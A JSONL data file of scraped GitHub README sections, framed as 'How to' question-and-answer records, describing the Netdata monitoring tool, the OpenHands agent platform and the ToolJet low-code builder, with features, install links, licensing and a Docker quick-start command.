{"id": "gh_65ccc2266897", "question": "How to: WHO WE ARE", "question_body": "About netdata/netdata", "answer": "Netdata is an open-source, real-time infrastructure monitoring platform. Monitor, detect, and act across your entire infrastructure.\n\n**Core Advantages:**\n\n* **Instant Insights** – With Netdata you can access per-second metrics and visualizations.\n* **Zero Configuration** – You can deploy immediately without complex setup.\n* **ML-Powered** – You can detect anomalies, predict issues, and automate analysis.\n* **Efficient** – You can monitor with minimal resource usage and maximum scalability.\n* **Secure & Distributed** – You can keep your data local with no central collection needed.\n\nWith Netdata, you get real-time, per-second updates. Clear **insights at a glance**, no complexity.\nAll heroes have a great origin story. Click to discover ours.\nIn 2013, at the company where Costa Tsaousis was COO, a significant percentage of their cloud-based transactions failed silently, severely impacting business performance.\n\nCosta and his team tried every troubleshooting tool available at the time. None could identify the root cause. As Costa later wrote:\n\n“*I couldn’t believe that monitoring systems provide so few metrics and with such low resolution, scale so badly, and cost so much to run.*”\n\nFrustrated, he decided to build his own monitoring tool, starting from scratch.\n\nThat decision led to countless late nights and weekends. It also sparked a fundamental shift in how infrastructure monitoring and troubleshooting are approached, both in method and in cost.", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281860"}
{"id": "gh_2c6bb4ec944c", "question": "How to: Most Energy-Efficient Monitoring Tool", "question_body": "About netdata/netdata", "answer": "According to the [University of Amsterdam study](https://www.ivanomalavolta.com/files/papers/ICSOC_2023.pdf), Netdata is the most energy-efficient tool for monitoring Docker-based systems. The study also shows Netdata excels in CPU usage, RAM usage, and execution time compared to other monitoring solutions.\n\n---", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281877"}
{"id": "gh_20df3de29bd3", "question": "How to: Key Features", "question_body": "About netdata/netdata", "answer": "| Feature                    | Description                               | What Makes It Unique                                     |\n|----------------------------|-------------------------------------------|----------------------------------------------------------|\n| **Real-Time**              | Per-second data collection and processing | Works in a beat – click and see results instantly        |\n| **Zero-Configuration**     | Automatic detection and discovery         | Auto-discovers everything on the nodes it runs           |\n| **ML-Powered**             | Unsupervised anomaly detection            | Trains multiple ML models per metric at the edge         |\n| **Long-Term Retention**    | High-performance storage                  | ~0.5 bytes per sample with tiered storage for archiving  |\n| **Advanced Visualization** | Rich, interactive dashboards              | Slice and dice data without query language               |\n| **Extreme Scalability**    | Native horizontal scaling                 | Parent-Child centralization with multi-million samples/s |\n| **Complete Visibility**    | From infrastructure to applications       | Simplifies operations and eliminates silos               |\n| **Edge-Based**             | Processing at your premises               | Distributes code instead of centralizing data            |\n\n> [!NOTE]  \n> Want to put Netdata to the test against Prometheus?\n> Explore the [full comparison](https://www.netdata.cloud/blog/netdata-vs-prometheus-2025/).\n\n---", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 77367, "answer_score": 10, "has_code": true, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281889"}
{"id": "gh_22e60f3890fa", "question": "How to: Netdata Ecosystem", "question_body": "About netdata/netdata", "answer": "This three-part architecture enables you to scale from single nodes to complex multi-cloud environments:\n\n| Component         | Description                                                                                                                                                 | License                                         |\n|-------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------|\n| **Netdata Agent** | • Core monitoring engine\n• Handles collection, storage, ML, alerts, exports\n• Runs on servers, cloud, K8s, IoT\n• Zero production impact            | [GPL v3+](https://www.gnu.org/licenses/gpl-3.0) |\n| **Netdata Cloud** | • Enterprise features\n• User management, RBAC, horizontal scaling\n• Centralized alerts\n• Free community tier\n• No metric storage centralization |                                                 |\n| **Netdata UI**    | • Dashboards and visualizations\n• Free to use\n• Included in standard packages\n• Latest version via CDN                                             | [NCUL1](https://app.netdata.cloud/LICENSE.txt)  |", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 77367, "answer_score": 10, "has_code": true, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281898"}
{"id": "gh_473ed5575e6d", "question": "How to: What You Can Monitor", "question_body": "About netdata/netdata", "answer": "With Netdata you can monitor all these components across platforms:\n\n|                                                                                                   Component |              Linux               | FreeBSD | macOS |                      Windows                      |\n|------------------------------------------------------------------------------------------------------------:|:--------------------------------:|:-------:|:-----:|:-------------------------------------------------:|\n|                             **System Resources**\nCPU, Memory and system shared resources\n|               Full               |   Yes   |  Yes  |                        Yes                        |\n|                                **Storage**\nDisks, Mount points, Filesystems, RAID arrays\n|               Full               |   Yes   |  Yes  |                        Yes                        |\n|                                 **Network**\nNetwork Interfaces, Protocols, Firewall, etc\n|               Full               |   Yes   |  Yes  |                        Yes                        |\n|                        **Hardware & Sensors**\nFans, Temperatures, Controllers, GPUs, etc\n|               Full               |  Some   | Some  |                       Some                        |\n|                                       **O/S Services**\nResources, Performance and Status\n| Yes\n`systemd`\n|    -    |   -   |                         -                         |\n|                                      **Processes**\nResources, Performance, OOM, and more\n|               Yes                |   Yes   |  Yes  |                        Yes                        |\n|                                                                             System and Application **Logs** | Yes\n`systemd`-journal |    -    |   -   | Yes\n`Windows Event Log`, `ETW`\n|\n|                                 **Network Connections**\nLive TCP and UDP sockets per PID\n|               Yes                |    -    |   -   |                         -                         |\n|                               **Containers**\nDocker/containerd, LXC/LXD, Kubernetes, etc\n|               Yes                |    -    |   -   |                         -                         |\n|                                 **VMs** (from the host)\nKVM, qemu, libvirt, Proxmox, etc\n| Yes\n`cgroups`\n|    -    |   -   |         Yes\n`Hyper-V`\n|\n|                       **Synthetic Checks**\nTest APIs, TCP ports, Ping, Certificates, etc\n|               Yes                |   Yes   |  Yes  |                        Yes                        |\n| **Packaged Applications**\nnginx, apache, postgres, redis, mongodb,\nand hundreds more\n|               Yes                |   Yes   |  Yes  |                        Yes                        |\n|                              **Cloud Provider Infrastructure**\nAWS, GCP, Azure, and more\n|               Yes                |   Yes   |  Yes  |                        Yes                        |\n|                       **Custom Applications**\nOpenMetrics, StatsD and soon OpenTelemetry\n|               Yes                |   Yes   |  Yes  |                        Yes                        |\n\nOn Linux, you can continuously monitor all kernel features and hardware sensors for errors, including Intel/AMD/Nvidia GPUs, PCI AER, RAM EDAC, IPMI, S.M.A.R.T, Intel RAPL, NVMe, fans, power supplies, and voltage readings.\n\n---", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 77367, "answer_score": 10, "has_code": true, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281911"}
{"id": "gh_4ea6e6ec3b48", "question": "How to: Getting Started", "question_body": "About netdata/netdata", "answer": "You can install Netdata on all major operating systems. To begin:", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281916"}
{"id": "gh_791cf9a6fb1c", "question": "How to: 1. Install Netdata", "question_body": "About netdata/netdata", "answer": "Choose your platform and follow the installation guide:\n\n* [Linux Installation](https://learn.netdata.cloud/docs/installing/one-line-installer-for-all-linux-systems)\n* [macOS](https://learn.netdata.cloud/docs/installing/macos)\n* [FreeBSD](https://learn.netdata.cloud/docs/installing/freebsd)\n* [Windows](https://learn.netdata.cloud/docs/netdata-agent/installation/windows)\n* [Docker Guide](/packaging/docker/README.md)\n* [Kubernetes Setup](https://learn.netdata.cloud/docs/installation/install-on-specific-environments/kubernetes)\n\n> [!NOTE]\n> You can access the Netdata UI at `http://localhost:19999` (or `http://NODE:19999` if remote).", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281923"}
{"id": "gh_545a40ed8618", "question": "How to: 2. Configure Collectors", "question_body": "About netdata/netdata", "answer": "Netdata auto-discovers most metrics, but you can manually configure some collectors:\n\n* [All collectors](https://learn.netdata.cloud/docs/data-collection/)\n* [SNMP monitoring](https://learn.netdata.cloud/docs/data-collection/monitor-anything/networking/snmp)", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281929"}
{"id": "gh_cf094e25710d", "question": "How to: 3. Configure Alerts", "question_body": "About netdata/netdata", "answer": "You can use hundreds of built-in alerts and integrate with:\n\n`email`, `Slack`, `Telegram`, `PagerDuty`, `Discord`, `Microsoft Teams`, and more.\n\n> [!NOTE]  \n> Email alerts work by default if there's a configured MTA.", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281934"}
{"id": "gh_43b6b2bb6234", "question": "How to: 4. Configure Parents", "question_body": "About netdata/netdata", "answer": "You can centralize dashboards, alerts, and storage with Netdata Parents:\n\n* [Streaming Reference](https://learn.netdata.cloud/docs/streaming/streaming-configuration-reference)\n\n> [!NOTE]  \n> You can use Netdata Parents for central dashboards, longer retention, and alert configuration.", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281940"}
{"id": "gh_a12e35864f8e", "question": "How to: 5. Connect to Netdata Cloud", "question_body": "About netdata/netdata", "answer": "[Sign in to Netdata Cloud](https://app.netdata.cloud/sign-in) and connect your nodes for:\n\n* Access from anywhere\n* Horizontal scalability and multi-node dashboards\n* UI configuration for alerts and data collection\n* Role-based access control\n* Free tier available\n\n> [!NOTE]  \n> Netdata Cloud is optional. Your data stays in your infrastructure.", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281946"}
{"id": "gh_1a92843d7ff9", "question": "How to: Live Demo Sites", "question_body": "About netdata/netdata", "answer": "See Netdata in action\nFRANKFURT\n|\nNEWYORK\n|\nATLANTA\n|\nSANFRANCISCO\n|\nTORONTO\n|\nSINGAPORE\n|\nBANGALORE\nThese demo clusters run with default configuration and show real monitoring data.\nChoose the instance closest to you for the best performance.\n---", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281953"}
{"id": "gh_a610b1790471", "question": "How to: How It Works", "question_body": "About netdata/netdata", "answer": "With Netdata you can run a modular pipeline for metrics collection, processing, and visualization.\n\n```mermaid\nflowchart TB\n  A[Netdata Agent]:::mainNode\n  A1(Collect):::green --> A\n  A2(Store):::green --> A\n  A3(Learn):::green --> A\n  A4(Detect):::green --> A\n  A5(Check):::green --> A\n  A6(Stream):::green --> A\n  A7(Archive):::green --> A\n  A8(Query):::green --> A\n  A9(Score):::green --> A\n\n  classDef green fill:#bbf3bb,stroke:#333,stroke-width:1px,color:#000\n  classDef mainNode fill:#f0f0f0,stroke:#333,stroke-width:1px,color:#333\n```\n\nWith each Agent you can:\n\n1. **Collect** – Gather metrics from systems, containers, apps, logs, APIs, and synthetic checks.\n2. **Store** – Save metrics to a high-efficiency, tiered time-series database.\n3. **Learn** – Train ML models per metric using recent behavior.\n4. **Detect** – Identify anomalies using trained ML models.\n5. **Check** – Evaluate metrics against pre-set or custom alert rules.\n6. **Stream** – Send metrics to Netdata Parents in real time.\n7. **Archive** – Export metrics to Prometheus, InfluxDB, OpenTSDB, Graphite, and others.\n8. **Query** – Access metrics via an API for dashboards or third-party tools.\n9. **Score** – Use a scoring engine to find patterns and correlations across metrics.\n\n> [!NOTE]  \n> Learn more: [Netdata's architecture](https://learn.netdata.cloud/docs/netdata-agent/#distributed-observability-pipeline)", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 77367, "answer_score": 10, "has_code": true, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281963"}
{"id": "gh_a6e3645b1dcc", "question": "How to: Agent Capabilities", "question_body": "About netdata/netdata", "answer": "With the Netdata Agent, you can use these core capabilities out-of-the-box:\n\n| Capability                   | Description                                                                                                                                   |\n|------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------|\n| **Comprehensive Collection** | • 800+ integrations\n• Systems, containers, VMs, hardware sensors\n• OpenMetrics, StatsD, and logs\n• OpenTelemetry support coming soon |\n| **Performance & Precision**  | • Per-second collection\n• Real-time visualization with 1-second latency\n• High-resolution metrics                                       |\n| **Edge-Based ML**            | • ML models trained at the edge\n• Automatic anomaly detection per metric\n• Pattern recognition based on historical behavior             |\n| **Advanced Log Management**  | • Direct systemd-journald and Windows Event Log integration\n• Process logs at the edge\n• Rich log visualization                         |\n| **Observability Pipeline**   | • Parent-Child relationships\n• Flexible centralization\n• Multi-level replication and retention                                          |\n| **Automated Visualization**  | • NIDL data model\n• Auto-generated dashboards\n• No query language needed                                                                |\n| **Smart Alerting**           | • Pre-configured alerts\n• Multiple notification methods\n• Proactive detection                                                           |\n| **Low Maintenance**          | • Auto-detection\n• Zero-touch ML\n• Easy scalability\n• CI/CD friendly                                                                 |\n| **Open & Extensible**        | • Modular architecture\n• Easy to customize\n• Integrates with existing tools                                                             |\n\n---", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 77367, "answer_score": 10, "has_code": true, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281973"}
{"id": "gh_c2a34912e782", "question": "How to: CNCF Membership", "question_body": "About netdata/netdata", "answer": "Netdata actively supports and is a member of the Cloud Native Computing Foundation (CNCF).\nIt is one of the most starred projects in the\nCNCF landscape\n.\n---", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 77367, "answer_score": 10, "has_code": true, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.281979"}
{"id": "gh_94c784f25cf4", "question": "How to: \\:book: Documentation", "question_body": "About netdata/netdata", "answer": "Visit [Netdata Learn](https://learn.netdata.cloud) for full documentation and guides.\n\n> [!NOTE]  \n> Includes deployment, configuration, alerting, exporting, troubleshooting, and more.\n\n---", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.282001"}
{"id": "gh_beddfa1c0827", "question": "How to: \\:tada: Community", "question_body": "About netdata/netdata", "answer": "Join the Netdata community:\n\n* [Discord](https://discord.com/invite/2mEmfW735j)\n* [Forum](https://community.netdata.cloud)\n* [GitHub Discussions](https://github.com/netdata/netdata/discussions)\n\n> [!NOTE]  \n> [Code of Conduct](https://github.com/netdata/.github/blob/main/CODE_OF_CONDUCT.md)\n\nFollow us on:\n[Twitter](https://twitter.com/netdatahq) | [Reddit](https://www.reddit.com/r/netdata/) | [YouTube](https://www.youtube.com/c/Netdata) | [LinkedIn](https://www.linkedin.com/company/netdata-cloud/)\n\n---", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.282007"}
{"id": "gh_d51ec4d3a865", "question": "How to: \\:pray: Contribute", "question_body": "About netdata/netdata", "answer": "We welcome your contributions.\n\nWays you help us stay sharp:\n\n* Share best practices and monitoring insights\n* Report issues or missing features\n* Improve documentation\n* Develop new integrations or collectors\n* Help users in forums and chats\n\n> [!NOTE]  \n> [Contribution guide](https://github.com/netdata/.github/blob/main/CONTRIBUTING.md)\n\n---", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 77367, "answer_score": 10, "has_code": false, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.282013"}
{"id": "gh_50f0ee104c0d", "question": "How to: \\:scroll: License", "question_body": "About netdata/netdata", "answer": "The Netdata ecosystem includes:\n\n* **Netdata Agent** – Open-source core (GPLv3+). **Includes** data collection, storage, ML, alerting, APIs and **redistributes** several other open-source tools and libraries.\n    * [Netdata Agent License](https://github.com/netdata/netdata/blob/master/LICENSE)\n    * [Netdata Agent Redistributed](https://github.com/netdata/netdata/blob/master/REDISTRIBUTED.md)\n* **Netdata UI** – Closed-source but free to use with Netdata Agent and Cloud. Delivered via CDN. It integrates third-party open-source components.\n    * [Netdata Cloud UI License](https://app.netdata.cloud/LICENSE.txt)\n    * [Netdata UI third-party licenses](https://app.netdata.cloud/3D_PARTY_LICENSES.txt)\n* **Netdata Cloud** – Closed-source, with free and paid tiers. Adds remote access, SSO, scalability.", "tags": ["netdata"], "source": "github_gists", "category": "netdata", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 77367, "answer_score": 10, "has_code": true, "url": "https://github.com/netdata/netdata", "collected_at": "2026-01-17T08:14:59.282020"}
{"id": "gh_ba7f6d326aca", "question": "How to: OpenHands Software Agent SDK", "question_body": "About OpenHands/OpenHands", "answer": "The SDK is a composable Python library that contains all of our agentic tech. It's the engine that powers everything else below.\n\nDefine agents in code, then run them locally, or scale to 1000s of agents in the cloud.\n\n[Check out the docs](https://docs.openhands.dev/sdk) or [view the source](https://github.com/OpenHands/software-agent-sdk/)", "tags": ["OpenHands"], "source": "github_gists", "category": "OpenHands", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 66692, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenHands/OpenHands", "collected_at": "2026-01-17T08:15:02.966366"}
{"id": "gh_2859b87b1fc3", "question": "How to: OpenHands CLI", "question_body": "About OpenHands/OpenHands", "answer": "The CLI is the easiest way to start using OpenHands. The experience will be familiar to anyone who has worked\nwith e.g. Claude Code or Codex. You can power it with Claude, GPT, or any other LLM.\n\n[Check out the docs](https://docs.openhands.dev/openhands/usage/run-openhands/cli-mode) or [view the source](https://github.com/OpenHands/OpenHands-CLI)", "tags": ["OpenHands"], "source": "github_gists", "category": "OpenHands", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 66692, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenHands/OpenHands", "collected_at": "2026-01-17T08:15:02.966390"}
{"id": "gh_aafa71d34502", "question": "How to: OpenHands Local GUI", "question_body": "About OpenHands/OpenHands", "answer": "Use the Local GUI for running agents on your laptop. It comes with a REST API and a single-page React application.\nThe experience will be familiar to anyone who has used Devin or Jules.\n\n[Check out the docs](https://docs.openhands.dev/openhands/usage/run-openhands/local-setup) or view the source in this repo.", "tags": ["OpenHands"], "source": "github_gists", "category": "OpenHands", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 66692, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenHands/OpenHands", "collected_at": "2026-01-17T08:15:02.966396"}
{"id": "gh_b5b706e0b16e", "question": "How to: OpenHands Cloud", "question_body": "About OpenHands/OpenHands", "answer": "This is a deployment of OpenHands GUI, running on hosted infrastructure.\n\nYou can try it with a free $10 credit by [signing in with your GitHub or GitLab account](https://app.all-hands.dev).\n\nOpenHands Cloud comes with source-available features and integrations:\n- Integrations with Slack, Jira, and Linear\n- Multi-user support\n- RBAC and permissions\n- Collaboration features (e.g., conversation sharing)", "tags": ["OpenHands"], "source": "github_gists", "category": "OpenHands", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 66692, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenHands/OpenHands", "collected_at": "2026-01-17T08:15:02.966402"}
{"id": "gh_c3d94bbdd8a4", "question": "How to: OpenHands Enterprise", "question_body": "About OpenHands/OpenHands", "answer": "Large enterprises can work with us to self-host OpenHands Cloud in their own VPC, via Kubernetes.\nOpenHands Enterprise can also work with the CLI and SDK above.\n\nOpenHands Enterprise is source-available--you can see all the source code here in the enterprise/ directory,\nbut you'll need to purchase a license if you want to run it for more than one month.\n\nEnterprise contracts also come with extended support and access to our research team.\n\nLearn more at [openhands.dev/enterprise](https://openhands.dev/enterprise)", "tags": ["OpenHands"], "source": "github_gists", "category": "OpenHands", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 66692, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenHands/OpenHands", "collected_at": "2026-01-17T08:15:02.966408"}
{"id": "gh_97142822046f", "question": "How to: Everything Else", "question_body": "About OpenHands/OpenHands", "answer": "Check out our [Product Roadmap](https://github.com/orgs/openhands/projects/1), and feel free to\n[open up an issue](https://github.com/OpenHands/OpenHands/issues) if there's something you'd like to see!\n\nYou might also be interested in our [evaluation infrastructure](https://github.com/OpenHands/benchmarks), our [chrome extension](https://github.com/OpenHands/openhands-chrome-extension/), or our [Theory-of-Mind module](https://github.com/OpenHands/ToM-SWE).\n\nAll our work is available under the MIT license, except for the `enterprise/` directory in this repository (see the [enterprise license](enterprise/LICENSE) for details).\nThe core `openhands` and `agent-server` Docker images are fully MIT-licensed as well.\n\nIf you need help with anything, or just want to chat, [come find us on Slack](https://dub.sh/openhands).", "tags": ["OpenHands"], "source": "github_gists", "category": "OpenHands", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 66692, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenHands/OpenHands", "collected_at": "2026-01-17T08:15:02.966415"}
{"id": "gh_aabb23ccc96d", "question": "How to: Community Edition (CE)", "question_body": "About ToolJet/ToolJet", "answer": "- **Visual App Builder:** 60+ responsive components (Tables, Charts, Forms, Lists, Progress Bars, and more).  \n- **ToolJet Database:** Built-in no-code database.  \n- **Multi-page Apps & Multiplayer Editing:** Build complex apps collaboratively.  \n- **75+ Data Sources:** Connect to databases, APIs, cloud storage, and SaaS tools.  \n- **Flexible Deployment:** Self-host with Docker, Kubernetes, AWS, GCP, Azure, and more.  \n- **Collaboration Tools:** Inline comments, mentions, and granular access control.  \n- **Extensibility:** Create plugins and connectors with the [ToolJet CLI](https://www.npmjs.com/package/@tooljet/cli).  \n- **Code Anywhere:** Run JavaScript and Python inside your apps.  \n- **Secure by Design:** AES-256-GCM encryption, proxy-only data flow, SSO support.", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256083"}
{"id": "gh_83098b5427d8", "question": "How to: ToolJet AI (Enterprise)", "question_body": "About ToolJet/ToolJet", "answer": "Everything in CE, plus:  \n- **AI App Generation:** Create apps instantly from natural language prompts.  \n- **AI Query Builder:** Generate and transform queries with AI assistance.  \n- **AI Debugging:** Identify and fix issues with one click.  \n- **Agent Builder:** Create intelligent agents to automate workflows and orchestrate processes.  \n- **Enterprise-grade Security & Compliance:** SOC 2 and GDPR readiness, audit logs, and advanced access control.\n- **User Management:** Role-based access (RBAC), custom groups, and granular app/data permissions.  \n- **Multi-environment Management:** Seamless dev/stage/prod environments.  \n- **GitSync & CI/CD:** Integrate with GitHub/GitLab for version control and streamlined deployments.  \n- **Branding & Customization:** White-labeling, and custom theming for organizational branding.  \n- **Fine-Grained Access Control:** Secure data and actions at the row, component, page, and query levels.  \n- **Embedded Apps:** Embed ToolJet apps securely within other applications or portals.  \n- **Enterprise Support:** SLAs, priority bug fixes, and onboarding assistance.", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256106"}
{"id": "gh_9c0f5758b6c2", "question": "How to: Quickstart", "question_body": "About ToolJet/ToolJet", "answer": "The easiest way to get started with ToolJet is by creating a [ToolJet Cloud](https://tooljet.com) account. ToolJet Cloud offers a hosted solution of ToolJet. If you want to self-host ToolJet, kindly proceed to [deployment documentation](https://docs.tooljet.com/docs/setup/).", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256116"}
{"id": "gh_c13ca58e2669", "question": "How to: Try using Docker", "question_body": "About ToolJet/ToolJet", "answer": "Want to give ToolJet a quick spin on your local machine? You can run the following command from your terminal to have ToolJet up and running right away.\n\n```bash\ndocker run \\\n  --name tooljet \\\n  --restart unless-stopped \\\n  -p 80:80 \\\n  --platform linux/amd64 \\\n  -v tooljet_data:/var/lib/postgresql/13/main \\\n  tooljet/try:ee-lts-latest\n```\n\n*For users upgrading their ToolJet version, we recommend choosing the LTS version over the latest version. The LTS version ensures stability with production bug fixes, security patches, and performance enhancements.*", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 37230, "answer_score": 10, "has_code": true, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256126"}
{"id": "gh_185d87d15cce", "question": "How to: Tutorials and examples", "question_body": "About ToolJet/ToolJet", "answer": "[Time Tracker Application](https://docs.tooljet.com/docs/#quickstart-guide)\n[Build your own CMS using low-code](https://blog.tooljet.com/build-cms-using-lowcode-and-mongodb/)\n[AWS S3 Browser](https://blog.tooljet.com/build-an-aws-s3-broswer-with-tooljet/)", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256135"}
{"id": "gh_01ee73c60a7c", "question": "How to: Documentation", "question_body": "About ToolJet/ToolJet", "answer": "Documentation is available at https://docs.tooljet.com.\n\n- [Getting Started](https://docs.tooljet.com)\n- [Data source Reference](https://docs.tooljet.com/docs/data-sources/airtable/)\n- [Component Reference](https://docs.tooljet.com/docs/widgets/button)", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256144"}
{"id": "gh_26ab5e755c58", "question": "How to: Self-hosted", "question_body": "About ToolJet/ToolJet", "answer": "You can use ToolJet Cloud for a fully managed solution. If you want to self-host ToolJet, we have guides on deploying ToolJet on Kubernetes, AWS EC2, Docker, and more.\n\n| Provider  | Documentation |\n| :------------- | :------------- |\n| Digital Ocean | [Link](https://docs.tooljet.com/docs/setup/digitalocean)  |\n| Docker  | [Link](https://docs.tooljet.com/docs/setup/docker)   |\n| AWS EC2 | [Link](https://docs.tooljet.com/docs/setup/ec2)  |\n| AWS ECS | [Link](https://docs.tooljet.com/docs/setup/ecs)   |\n| OpenShift | [Link](https://docs.tooljet.com/docs/setup/openshift)   |\n| Helm | [Link](https://docs.tooljet.com/docs/setup/helm)   |\n| AWS EKS (Kubernetes) | [Link](https://docs.tooljet.com/docs/setup/kubernetes)   |\n| GCP GKE (Kubernetes) | [Link](https://docs.tooljet.com/docs/setup/kubernetes-gke)   |\n| Azure AKS (Kubernetes) | [Link](https://docs.tooljet.com/docs/setup/kubernetes-aks)   |\n| Azure Container | [Link](https://docs.tooljet.com/docs/setup/azure-container)   |\n| Google Cloud Run  | [Link](https://docs.tooljet.com/docs/setup/google-cloud-run)   |\n| Deploying ToolJet client  | [Link](https://docs.tooljet.com/docs/setup/client)   |\n| Deploying ToolJet on a Subpath  | [Link](https://docs.tooljet.com/docs/setup/tooljet-subpath/)   |", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256157"}
{"id": "gh_96227481286d", "question": "How to: Marketplace", "question_body": "About ToolJet/ToolJet", "answer": "ToolJet can now be found on both AWS and Azure Marketplaces, making it simpler than ever to access and deploy our app-building platform.\n\nFind ToolJet on AWS Marketplace [here](https://aws.amazon.com/marketplace/pp/prodview-fxjto27jkpqfg?sr=0-1&ref_=beagle&applicationId=AWSMPContessa) and explore seamless integration on Azure Marketplace [here](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/tooljetsolutioninc1679496832216.tooljet?tab=Overview).", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256166"}
